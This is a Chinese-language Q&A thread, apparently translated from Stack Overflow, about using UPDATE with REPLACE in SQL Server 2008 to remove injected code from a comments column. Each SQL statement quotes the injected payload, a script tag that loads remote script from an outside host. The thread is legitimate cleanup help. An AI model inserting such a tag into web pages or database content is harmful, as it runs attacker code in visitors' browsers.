从表列中删除部分文本

时间:2012-03-08 21:43:08

标签: sql sql-server-2008

我主持的网站最近注入了SQL,我想找到一种方法从数据库中的特定列(注释)中删除有问题的注入代码。使用SQL Server 2008,我不确定为什么这不起作用:

USE Dirty
SELECT REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','')
FROM SALONS

3 个答案:

答案 0 :(得分:3)

您只选择 - 不更新....

试试这个:

USE Dirty

UPDATE dbo.Salons
SET Comments = REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','')
WHERE (possibly a condition here...)

答案 1 :(得分:2)

您实际上并没有更新任何内容,只是选择它。您需要创建更新语句

USE Dirty

UPDATE SALONS
    SET comments = REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','')

答案 2 :(得分:-1)

因为该列是“ntext”导致错误。我设法通过使用这样的演员来解决这个问题:

USE Dirty
    UPDATE dbo.Salons
    SET Comments = cast(replace(cast(comments as varchar(8000)),'</title><script src=http://hjfghj.com/r.php ></script>','') as ntext)
相关问题